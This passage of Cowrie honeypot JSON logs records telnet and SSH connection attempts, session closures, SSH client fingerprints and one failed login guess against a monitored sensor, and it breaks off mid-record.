{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":41102,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7a534cc8055","protocol":"telnet","message":"New connection: 114.23.51.89:41102 (159.203.135.109:23) [session: e7a534cc8055]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:38.743945Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":41110,"dst_ip":"159.203.135.109","dst_port":23,"session":"790f1d14af24","protocol":"telnet","message":"New connection: 114.23.51.89:41110 (159.203.135.109:23) [session: 790f1d14af24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:39.407158Z"}
{"eventid":"cowrie.session.closed","duration":31.17842388153076,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:39.566501Z","src_ip":"185.207.250.135","session":"fb83ef637c2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.860096216201782,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:40.132723Z","src_ip":"114.23.51.89","session":"88d09799aa43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.945852994918823,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:40.231451Z","src_ip":"114.23.51.89","session":"e43633db614d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":55666,"dst_ip":"159.203.135.109","dst_port":23,"session":"c009b41a00d4","protocol":"telnet","message":"New connection: 23.254.167.244:55666 (159.203.135.109:23) [session: c009b41a00d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:40.582812Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":41126,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a6d8dc43c81","protocol":"telnet","message":"New connection: 114.23.51.89:41126 (159.203.135.109:23) [session: 1a6d8dc43c81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:40.587116Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":41130,"dst_ip":"159.203.135.109","dst_port":23,"session":"16623d2de05c","protocol":"telnet","message":"New connection: 114.23.51.89:41130 (159.203.135.109:23) [session: 16623d2de05c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:40.846298Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":41132,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9339e37ab50","protocol":"telnet","message":"New connection: 114.23.51.89:41132 (159.203.135.109:23) [session: f9339e37ab50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:40.970295Z"}
{"eventid":"cowrie.session.closed","duration":31.072656631469727,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:41.662352Z","src_ip":"114.23.51.89","session":"2273f893fd14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":55444,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3585c3201a9","protocol":"telnet","message":"New connection: 185.207.250.135:55444 (159.203.135.109:23) [session: b3585c3201a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:41.956673Z"}
{"eventid":"cowrie.session.closed","duration":30.61106252670288,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:42.092869Z","src_ip":"185.207.250.135","session":"cac217b4d5af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.6573371887207,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:42.545876Z","src_ip":"23.254.167.244","session":"c06f1927908d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.301692962646484,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:42.691043Z","src_ip":"185.207.250.135","session":"896e63d9eff0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.274497985839844,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:43.083440Z","src_ip":"23.254.167.244","session":"dbe3556cea34","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.75905442237854,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:43.088401Z","src_ip":"23.254.167.244","session":"3ed8514ffc3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09621238708496,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:43.209878Z","src_ip":"185.207.250.135","session":"0142cebf92f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":41146,"dst_ip":"159.203.135.109","dst_port":23,"session":"580fca4dfe45","protocol":"telnet","message":"New connection: 114.23.51.89:41146 (159.203.135.109:23) [session: 580fca4dfe45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:43.526747Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":41162,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6da6fc123ab","protocol":"telnet","message":"New connection: 114.23.51.89:41162 (159.203.135.109:23) [session: d6da6fc123ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:44.762204Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":41160,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ceebb07a46d","protocol":"telnet","message":"New connection: 114.23.51.89:41160 (159.203.135.109:23) [session: 8ceebb07a46d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:45.223576Z"}
{"eventid":"cowrie.session.closed","duration":30.618247985839844,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:45.445042Z","src_ip":"114.23.51.89","session":"4192f800e1b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.919864416122437,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:47.721064Z","src_ip":"114.23.51.89","session":"c1a9f5fb192d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.103139400482178,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:47.889312Z","src_ip":"114.23.51.89","session":"3c96ff9469c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":35784,"dst_ip":"159.203.135.109","dst_port":23,"session":"4017f640cfca","protocol":"telnet","message":"New connection: 185.207.250.135:35784 (159.203.135.109:23) [session: 4017f640cfca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:48.781097Z"}
{"eventid":"cowrie.session.closed","duration":31.834986448287964,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:49.369547Z","src_ip":"114.23.51.89","session":"9a5d48c0d414","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.77483105659485,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:49.719551Z","src_ip":"209.159.146.115","session":"9ccbf17bd19f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.20799469947815,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:50.215666Z","src_ip":"185.207.250.135","session":"691545b589ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":38434,"dst_ip":"159.203.135.109","dst_port":23,"session":"c89f79a97ff0","protocol":"telnet","message":"New connection: 185.207.250.135:38434 (159.203.135.109:23) [session: c89f79a97ff0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:51.343033Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":35326,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c8f5c3e8165","protocol":"telnet","message":"New connection: 114.23.51.89:35326 (159.203.135.109:23) [session: 1c8f5c3e8165]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:51.604027Z"}
{"eventid":"cowrie.session.closed","duration":31.329325675964355,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:51.754002Z","src_ip":"185.207.250.135","session":"d402e914ec1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.228941440582275,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:52.198289Z","src_ip":"114.23.51.89","session":"5f49c082dc07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":49226,"dst_ip":"159.203.135.109","dst_port":23,"session":"4cf337aa7d10","protocol":"telnet","message":"New connection: 185.26.126.47:49226 (159.203.135.109:23) [session: 4cf337aa7d10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:52.415815Z"}
{"eventid":"cowrie.session.closed","duration":30.767022132873535,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:53.104994Z","src_ip":"185.207.250.135","session":"d1817ff830c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":35330,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fecfe73edd1","protocol":"telnet","message":"New connection: 114.23.51.89:35330 (159.203.135.109:23) [session: 4fecfe73edd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:53.613312Z"}
{"eventid":"cowrie.session.closed","duration":32.729729652404785,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:53.725263Z","src_ip":"23.254.167.244","session":"e86cdac69aa1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":35332,"dst_ip":"159.203.135.109","dst_port":23,"session":"14cc7f5e6467","protocol":"telnet","message":"New connection: 114.23.51.89:35332 (159.203.135.109:23) [session: 14cc7f5e6467]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:53.817711Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53350,"dst_ip":"159.203.135.109","dst_port":22,"session":"736f2943990f","protocol":"ssh","message":"New connection: 159.203.92.129:53350 (159.203.135.109:22) [session: 736f2943990f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:54.262317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:54.267158Z","src_ip":"159.203.92.129","session":"736f2943990f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:54.272597Z","src_ip":"159.203.92.129","session":"736f2943990f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anna","password":"123","message":"login attempt [anna/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:54.284539Z","src_ip":"159.203.92.129","session":"736f2943990f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.50195837020874,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:54.394690Z","src_ip":"185.207.250.135","session":"a8600f572b2e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":51444,"dst_ip":"159.203.135.109","dst_port":23,"session":"aff4184ee6fe","protocol":"telnet","message":"New connection: 209.159.146.115:51444 (159.203.135.109:23) [session: aff4184ee6fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:55.110583Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:55.290572Z","src_ip":"159.203.92.129","session":"736f2943990f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":44734,"dst_ip":"159.203.135.109","dst_port":23,"session":"d88b84537aa0","protocol":"telnet","message":"New connection: 23.254.167.244:44734 (159.203.135.109:23) [session: d88b84537aa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:55.513271Z"}
{"eventid":"cowrie.session.closed","duration":31.21503496170044,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:55.653700Z","src_ip":"114.23.51.89","session":"a6bed93adfd4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.47149705886841,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:56.749603Z","src_ip":"23.254.167.244","session":"eb71f6759326","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":42840,"dst_ip":"159.203.135.109","dst_port":23,"session":"eaa9420e3260","protocol":"telnet","message":"New connection: 114.23.51.89:42840 (159.203.135.109:23) [session: eaa9420e3260]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:58.128846Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":42854,"dst_ip":"159.203.135.109","dst_port":23,"session":"24c14d80e337","protocol":"telnet","message":"New connection: 114.23.51.89:42854 (159.203.135.109:23) [session: 24c14d80e337]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:00.173147Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":35346,"dst_ip":"159.203.135.109","dst_port":23,"session":"d36b9322df58","protocol":"telnet","message":"New connection: 114.23.51.89:35346 (159.203.135.109:23) [session: d36b9322df58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:00.260636Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":42868,"dst_ip":"159.203.135.109","dst_port":23,"session":"55145113a490","protocol":"telnet","message":"New connection: 114.23.51.89:42868 (159.203.135.109:23) [session: 55145113a490]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:00.664947Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":42876,"dst_ip":"159.203.135.109","dst_port":23,"session":"47496bb5e068","protocol":"telnet","message":"New connection: 114.23.51.89:42876 (159.203.135.109:23) [session: 47496bb5e068]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:01.437892Z"}
{"eventid":"cowrie.session.closed","duration":31.218321084976196,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:01.786013Z","src_ip":"114.23.51.89","session":"f6bfa1837a69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.68099308013916,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:01.869822Z","src_ip":"114.23.51.89","session":"5f27cd701f64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83744215965271,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:02.551073Z","src_ip":"114.23.51.89","session":"c1280bb97ea5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.13898181915283,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:03.206037Z","src_ip":"23.254.167.244","session":"549a2ce835db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":42880,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7a85f5ba1f2","protocol":"telnet","message":"New connection: 114.23.51.89:42880 (159.203.135.109:23) [session: a7a85f5ba1f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:03.555286Z"}
{"eventid":"cowrie.session.closed","duration":31.135040760040283,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:03.714422Z","src_ip":"114.23.51.89","session":"9f1ae25056e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":25364,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ab825105698","protocol":"ssh","message":"New connection: 194.59.206.2:25364 (159.203.135.109:22) [session: 6ab825105698]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:04.171690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:04.179021Z","src_ip":"194.59.206.2","session":"6ab825105698","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":42872,"dst_ip":"159.203.135.109","dst_port":23,"session":"e810489c5f09","protocol":"telnet","message":"New connection: 114.23.51.89:42872 (159.203.135.109:23) [session: e810489c5f09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:04.394064Z"}
{"eventid":"cowrie.session.closed","duration":30.746651887893677,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:04.417753Z","src_ip":"114.23.51.89","session":"810862b8a7e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.962101936340332,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:04.435942Z","src_ip":"114.23.51.89","session":"55b9bb4ba370","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":42894,"dst_ip":"159.203.135.109","dst_port":23,"session":"44c768023be2","protocol":"telnet","message":"New connection: 114.23.51.89:42894 (159.203.135.109:23) [session: 44c768023be2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:04.489161Z"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:04.567093Z","src_ip":"194.59.206.2","session":"6ab825105698","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.809373140335083,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:04.628400Z","src_ip":"114.23.51.89","session":"b35f982c760a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:04.659484Z","src_ip":"194.59.206.2","session":"6ab825105698","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.18.126","src_port":57640,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e3e7cd3813b","protocol":"ssh","message":"New connection: 20.244.18.126:57640 (10.17.0.5:22) [session: 7e3e7cd3813b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:06.253441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:06.258614Z","src_ip":"20.244.18.126","session":"7e3e7cd3813b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecds